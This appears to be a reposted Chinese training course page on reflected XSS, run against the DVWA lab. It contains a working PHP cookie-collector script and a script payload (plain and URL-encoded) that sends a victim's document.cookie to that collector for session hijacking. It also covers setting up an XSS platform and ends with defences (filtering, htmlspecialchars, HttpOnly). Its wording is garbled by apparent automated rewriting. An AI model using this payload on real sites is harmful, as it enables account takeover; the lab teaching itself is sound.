首页 » SEO优化 » php断定cookie跳转技巧_知了汇智XSS进击窃取cookie实战课程文档讲解

php断定cookie跳转技巧_知了汇智XSS进击窃取cookie实战课程文档讲解

访客 2024-11-13 0

扫一扫用手机浏览

文章目录 [+]

本日是《web安全-XSS攻击》系列的末了一篇啦,希望大家好好学习哦~

XSS之

php断定cookie跳转技巧_知了汇智XSS进击窃取cookie实战课程文档讲解

知了汇智-禁卫实验室(GoDun.F)

php断定cookie跳转技巧_知了汇智XSS进击窃取cookie实战课程文档讲解
(图片来自网络侵删)

1. 编写获取cookie的代码cookie.php,并将其放在一个web做事器上。

内容如下:

<?php

$cookie=$_GET['cookie'];

file_put_contents('cookie.txt',$cookie);

?>

2. 布局如下URL,并发送给被攻击者:

原始URL:

http://location/dvwa/vulnerabilities/xss_r/?name=

<script>doument.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>

须要进行URL编码:

http://localhost/dvwa/vulnerabilities/xss_r/?name=

%3Cscript%3Edocument.location%3D%27http%3A%2f%2f127.0.0.1%2fcookie.php%3Fcookie%3D%27%2bdocument.cookie%3B%3C%2fscript%3E#

3. 受害者点击URL,会跳转到http://127.0.0.1/dvwa/cookie.php,并将cookie写入到了同目录下的cookie.txt中:

4. cookie.txt文件保存了受害者的cookie

5.末了攻击者利用获取到的cookie修合法地的cookie,登录到受害者的账户

试平台支配及运用

知了汇智-禁卫实验室(GoDun.F)

0 XSS测试平台先容

XSS测试平台是测试XSS漏洞获取cookie并吸收Web页面的平台,XSS可以做JS能做的所有事,包括但不限于盗取cookie、后台增编削文章、钓鱼、利用XSS漏洞进行传播、修正网页代码、网站重定向、获取用户信息等。

1 线上可用的XSS平台

https://xsspt.com/index.php?do=login

https://xss8.cc/xss.php

2 自构XSS平台

A:找到Sql注入的开源平台,复制源代然后将其粘贴到网站的目录中

B:创建“xssplatform”的数据库

C:选择XSS平台数据库,导入源码包中的xssplatform.sql文件

D:实行如下SQL命令,将数据库中原有URL地址修正为自己的URL

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://localhost/XSS')

E:将authtest.php中的网址更换为自己的URL

F:注册帐号。

将config.php中的invite改为normal,即为开放注册

在phpMyAdmin中选择oc_user,将注册用过的adminLevel值改为1

配置伪静态文件.htaccess,在平台跟目录下创建.htaccess文件,根据中间件类型写入代码

Nginx:

http://localhost/xss/index.php访问,然后注册,注册成功后将config.php中的改回invite,即关闭开放注册功能

G: http://localhost/xss/index.php访问登录

3 XSS测试平台盗取用户信息实战

XSS的防御

知了汇智-禁卫实验室(GoDun.F)

0 XSS的防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。
也便是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本实行的干系内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中实行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。
黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。
白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一样平常是不能进行如此严格的白名单过滤的。

对输出进行html编码,便是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是利用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#利用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。
经由html编码后script标签被当成了html实体

我们还可以做事端设置会话Cookie的HTTP Only属性,这样,客户真个JS脚本就不能获取Cookie信息了

1 修复总结

由于XSS漏洞涉及输入和输出两部分,以是其修复也分两种

A:过滤输入的数据,包括” ‘ ”,” “ ”,”<”,”>” “on”等造孽字符。

B:对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。

本次关于XSS攻击的课程就结束啦,感激大家关注。

标签:

相关文章

IT行业节奏,创新与变革的交响曲

随着科技的飞速发展,IT行业正以惊人的速度演变,成为了全球最具活力和创新力的领域。在这个充满挑战与机遇的时代,了解IT行业的节奏,...

SEO优化 2024-12-28 阅读0 评论0

IT资金分析,洞察行业趋势,把握投资机遇

随着信息技术的飞速发展,IT行业已成为全球经济增长的重要驱动力。在这个充满变革的时代,如何对IT资金进行合理分析,把握行业趋势,成...

SEO优化 2024-12-28 阅读0 评论0

IT超级版主,引领科技潮流,塑造未来生活

随着科技的飞速发展,信息技术(IT)已经成为我们生活中不可或缺的一部分。在这个数字化时代,IT超级版主应运而生,他们引领着科技潮流...

SEO优化 2024-12-28 阅读0 评论0

IT软件自学之路,掌握核心技术,迈向未来

随着信息技术的飞速发展,IT行业已成为我国经济发展的重要支柱。在这个充满机遇与挑战的时代,掌握IT软件技术已成为众多求职者和职场人...

SEO优化 2024-12-28 阅读0 评论0

IT辅助软件在现代企业中的应用与价值

随着信息技术的飞速发展,IT辅助软件已经成为企业提高工作效率、降低成本、增强竞争力的关键工具。本文将探讨IT辅助软件在现代企业中的...

SEO优化 2024-12-28 阅读0 评论0

IT软件圈子,创新与变革的交汇点

随着信息技术的飞速发展,IT软件圈子已成为当今社会不可或缺的一部分。在这个充满机遇与挑战的领域,创新与变革成为了主旋律。本文将从I...

SEO优化 2024-12-28 阅读0 评论0